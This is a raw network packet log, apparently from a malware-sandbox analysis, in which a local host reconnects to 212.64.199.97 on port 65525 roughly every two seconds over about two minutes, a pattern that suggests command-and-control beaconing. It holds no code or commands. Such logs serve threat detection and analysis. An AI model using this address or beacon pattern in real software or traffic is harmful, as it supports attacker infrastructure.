Jan 3, 2025 08:16:44.295861959 CET	53076	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:44.300621986 CET	65525	53076	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:46.102371931 CET	65525	53076	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:46.102654934 CET	53076	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:46.103481054 CET	53078	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:46.107965946 CET	65525	53076	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:46.108797073 CET	65525	53078	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:46.108850956 CET	53078	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:46.108867884 CET	53078	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:46.114070892 CET	65525	53078	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:47.901191950 CET	65525	53078	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:47.901348114 CET	53078	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:47.902064085 CET	53080	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:47.906156063 CET	65525	53078	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:47.906879902 CET	65525	53080	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:47.906924963 CET	53080	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:47.906944990 CET	53080	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:47.911736012 CET	65525	53080	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:49.688421011 CET	65525	53080	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:49.688592911 CET	53080	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:49.689194918 CET	53082	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:49.693519115 CET	65525	53080	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:49.694046021 CET	65525	53082	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:49.694101095 CET	53082	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:49.694117069 CET	53082	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:49.698920965 CET	65525	53082	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:51.475591898 CET	65525	53082	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:51.475882053 CET	53082	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:51.476803064 CET	53084	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:51.480721951 CET	65525	53082	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:51.481692076 CET	65525	53084	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:51.481767893 CET	53084	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:51.481856108 CET	53084	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:51.486591101 CET	65525	53084	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:53.262257099 CET	65525	53084	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:53.262427092 CET	53084	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:53.263202906 CET	53086	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:53.267297983 CET	65525	53084	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:53.267982960 CET	65525	53086	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:53.268033981 CET	53086	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:53.268064022 CET	53086	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:53.272845984 CET	65525	53086	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:55.038320065 CET	65525	53086	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:55.038463116 CET	53086	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:55.038899899 CET	53088	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:55.043338060 CET	65525	53086	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:55.043669939 CET	65525	53088	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:55.043718100 CET	53088	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:55.043744087 CET	53088	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:55.048491001 CET	65525	53088	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:56.802659035 CET	65525	53088	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:56.802778959 CET	53088	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:56.803174973 CET	53090	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:56.807631016 CET	65525	53088	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:56.808016062 CET	65525	53090	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:56.808058023 CET	53090	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:56.808080912 CET	53090	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:56.812884092 CET	65525	53090	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:58.590892076 CET	65525	53090	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:58.591135979 CET	53090	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:58.591675997 CET	53092	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:58.595952034 CET	65525	53090	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:58.596498966 CET	65525	53092	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:58.596575022 CET	53092	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:58.596651077 CET	53092	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:58.601382017 CET	65525	53092	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:00.368813992 CET	65525	53092	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:00.368947983 CET	53092	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:00.369348049 CET	53094	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:00.373810053 CET	65525	53092	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:00.374159098 CET	65525	53094	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:00.374198914 CET	53094	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:00.374222994 CET	53094	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:00.378958941 CET	65525	53094	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:02.171170950 CET	65525	53094	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:02.171399117 CET	53094	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:02.172142029 CET	53096	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:02.176179886 CET	65525	53094	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:02.176922083 CET	65525	53096	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:02.177005053 CET	53096	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:02.177066088 CET	53096	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:02.181890011 CET	65525	53096	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:03.944833040 CET	65525	53096	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:03.944948912 CET	53096	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:03.945383072 CET	53098	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:03.949724913 CET	65525	53096	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:03.950129986 CET	65525	53098	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:03.950190067 CET	53098	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:03.950259924 CET	53098	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:03.954982996 CET	65525	53098	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:05.725658894 CET	65525	53098	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:05.725893974 CET	53098	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:05.726358891 CET	53100	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:05.730751991 CET	65525	53098	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:05.731153965 CET	65525	53100	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:05.731215954 CET	53100	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:05.731287003 CET	53100	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:05.736990929 CET	65525	53100	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:07.511168003 CET	65525	53100	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:07.511367083 CET	53100	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:07.512058973 CET	53102	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:07.516186953 CET	65525	53100	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:07.516848087 CET	65525	53102	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:07.516916037 CET	53102	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:07.516982079 CET	53102	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:07.521754980 CET	65525	53102	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:09.271378040 CET	65525	53102	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:09.271583080 CET	53102	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:09.272281885 CET	53104	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:09.276403904 CET	65525	53102	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:09.277147055 CET	65525	53104	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:09.277221918 CET	53104	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:09.277297020 CET	53104	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:09.282107115 CET	65525	53104	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:11.062681913 CET	65525	53104	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:11.062865019 CET	53104	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:11.063287973 CET	53106	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:11.067761898 CET	65525	53104	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:11.068049908 CET	65525	53106	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:11.068116903 CET	53106	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:11.068185091 CET	53106	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:11.072942019 CET	65525	53106	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:12.859426022 CET	65525	53106	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:12.859814882 CET	53106	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:12.860553980 CET	53108	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:12.864682913 CET	65525	53106	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:12.865367889 CET	65525	53108	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:12.865434885 CET	53108	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:12.865502119 CET	53108	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:12.870237112 CET	65525	53108	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:28.880667925 CET	65525	53108	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:28.881088972 CET	53108	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:28.881822109 CET	53110	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:28.885941029 CET	65525	53108	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:28.886671066 CET	65525	53110	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:28.886733055 CET	53110	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:28.886822939 CET	53110	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:28.891622066 CET	65525	53110	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:33.031837940 CET	65525	53110	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:33.032020092 CET	53110	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:33.032519102 CET	53112	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:33.036904097 CET	65525	53110	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:33.037358046 CET	65525	53112	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:33.037398100 CET	53112	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:33.037429094 CET	53112	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:33.042287111 CET	65525	53112	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:34.852554083 CET	65525	53112	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:34.852721930 CET	53112	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:34.853166103 CET	53114	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:34.857465982 CET	65525	53112	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:34.857950926 CET	65525	53114	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:34.857991934 CET	53114	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:34.858020067 CET	53114	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:34.862787962 CET	65525	53114	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:36.637468100 CET	65525	53114	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:36.637720108 CET	53114	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:36.638513088 CET	53116	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:36.643455982 CET	65525	53114	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:36.644062996 CET	65525	53116	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:36.644149065 CET	53116	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:36.644201040 CET	53116	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:36.649002075 CET	65525	53116	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:43.797615051 CET	65525	53116	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:43.797823906 CET	53116	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:43.798329115 CET	53118	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:43.802731991 CET	65525	53116	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:43.803188086 CET	65525	53118	212.64.199.97	192.168.2.23
Jan 3, 2025 08:17:43.803307056 CET	53118	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:43.803368092 CET	53118	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:17:43.808243036 CET	65525	53118	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:02.818222046 CET	65525	53118	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:02.818522930 CET	53118	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:02.819293022 CET	53120	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:02.823323965 CET	65525	53118	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:02.824212074 CET	65525	53120	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:02.824281931 CET	53120	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:02.824340105 CET	53120	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:02.829102039 CET	65525	53120	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:04.618216038 CET	65525	53120	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:04.618477106 CET	53120	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:04.619263887 CET	53122	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:04.623285055 CET	65525	53120	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:04.624119043 CET	65525	53122	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:04.624191046 CET	53122	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:04.624253988 CET	53122	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:04.829479933 CET	53122	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:04.837775946 CET	65525	53122	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:04.837788105 CET	65525	53122	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:06.610760927 CET	65525	53122	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:06.610939980 CET	53122	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:06.611455917 CET	53124	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:06.616832972 CET	65525	53122	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:06.617151022 CET	65525	53124	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:06.617193937 CET	53124	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:06.617218018 CET	53124	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:06.623049974 CET	65525	53124	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:20.288563967 CET	65525	53124	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:20.288856983 CET	53124	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:20.289706945 CET	53126	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:20.294703960 CET	65525	53124	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:20.294733047 CET	65525	53126	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:20.294811964 CET	53126	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:20.294987917 CET	53126	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:20.300679922 CET	65525	53126	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:22.077693939 CET	65525	53126	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:22.078200102 CET	53126	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:22.083147049 CET	65525	53126	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:22.092551947 CET	53128	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:22.097496033 CET	65525	53128	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:22.097604036 CET	53128	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:22.097671032 CET	53128	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:22.102437019 CET	65525	53128	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:23.873236895 CET	65525	53128	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:23.873588085 CET	53128	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:23.874119997 CET	53130	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:23.878508091 CET	65525	53128	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:23.878886938 CET	65525	53130	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:23.878937006 CET	53130	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:23.878961086 CET	53130	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:23.883742094 CET	65525	53130	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:25.656971931 CET	65525	53130	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:25.657253027 CET	53130	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:25.657625914 CET	53132	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:25.662147999 CET	65525	53130	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:25.662492990 CET	65525	53132	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:25.662547112 CET	53132	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:25.662586927 CET	53132	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:25.667356968 CET	65525	53132	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:27.413242102 CET	65525	53132	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:27.413561106 CET	53132	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:27.414004087 CET	53134	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:27.418391943 CET	65525	53132	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:27.418750048 CET	65525	53134	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:27.418797970 CET	53134	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:27.418837070 CET	53134	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:27.423657894 CET	65525	53134	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:29.179291964 CET	65525	53134	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:29.179447889 CET	53134	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:29.179980040 CET	53136	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:29.184302092 CET	65525	53134	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:29.184818029 CET	65525	53136	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:29.184947014 CET	53136	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:29.184974909 CET	53136	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:29.190109015 CET	65525	53136	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:30.964421988 CET	65525	53136	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:30.965030909 CET	53136	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:30.965487957 CET	53138	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:30.969923973 CET	65525	53136	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:30.970331907 CET	65525	53138	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:30.970427036 CET	53138	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:30.970438957 CET	53138	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:30.975249052 CET	65525	53138	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:32.745150089 CET	65525	53138	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:32.745382071 CET	53138	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:32.745877981 CET	53140	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:32.750191927 CET	65525	53138	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:32.750757933 CET	65525	53140	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:32.750840902 CET	53140	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:32.750857115 CET	53140	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:32.755661964 CET	65525	53140	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:34.523475885 CET	65525	53140	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:34.523897886 CET	53140	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:34.524660110 CET	53142	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:34.528651953 CET	65525	53140	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:34.529397964 CET	65525	53142	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:34.529479027 CET	53142	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:34.529519081 CET	53142	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:34.534287930 CET	65525	53142	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:36.288736105 CET	65525	53142	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:36.289304972 CET	53142	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:36.289349079 CET	53142	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:36.290148020 CET	53144	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:36.294152021 CET	65525	53142	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:36.294877052 CET	65525	53144	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:36.294961929 CET	53144	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:36.295002937 CET	53144	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:36.299772978 CET	65525	53144	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:38.074090004 CET	65525	53144	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:38.074503899 CET	53144	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:38.075366020 CET	53146	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:38.079282045 CET	65525	53144	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:38.080151081 CET	65525	53146	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:38.080245972 CET	53146	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:38.080296993 CET	53146	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:38.085033894 CET	65525	53146	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:39.852643967 CET	65525	53146	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:39.853174925 CET	53146	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:39.853996992 CET	53148	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:39.858025074 CET	65525	53146	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:39.858901024 CET	65525	53148	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:39.858993053 CET	53148	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:39.859030962 CET	53148	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:39.863814116 CET	65525	53148	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:41.643811941 CET	65525	53148	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:41.644105911 CET	53148	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:41.644871950 CET	53150	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:41.649000883 CET	65525	53148	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:41.649658918 CET	65525	53150	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:41.649744034 CET	53150	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:41.649790049 CET	53150	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:41.654622078 CET	65525	53150	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:43.439331055 CET	65525	53150	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:43.439599991 CET	53150	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:43.440357924 CET	53152	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:43.444910049 CET	65525	53150	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:43.445477962 CET	65525	53152	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:43.445553064 CET	53152	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:43.445621014 CET	53152	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:43.450345993 CET	65525	53152	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:45.252594948 CET	65525	53152	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:45.252989054 CET	53152	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:45.253706932 CET	53154	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:45.257889986 CET	65525	53152	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:45.258502960 CET	65525	53154	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:45.258564949 CET	53154	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:45.258639097 CET	53154	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:45.263411999 CET	65525	53154	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:47.025466919 CET	65525	53154	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:47.025836945 CET	53154	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:47.026607037 CET	53156	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:47.030720949 CET	65525	53154	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:47.031399965 CET	65525	53156	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:47.031466007 CET	53156	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:47.031527042 CET	53156	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:47.036318064 CET	65525	53156	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:48.790096998 CET	65525	53156	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:48.790239096 CET	53156	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:48.790738106 CET	53158	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:48.795059919 CET	65525	53156	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:48.795563936 CET	65525	53158	212.64.199.97	192.168.2.23
Jan 3, 2025 08:18:48.795608997 CET	53158	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:48.795629978 CET	53158	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:18:48.800344944 CET	65525	53158	212.64.199.97	192.168.2.23
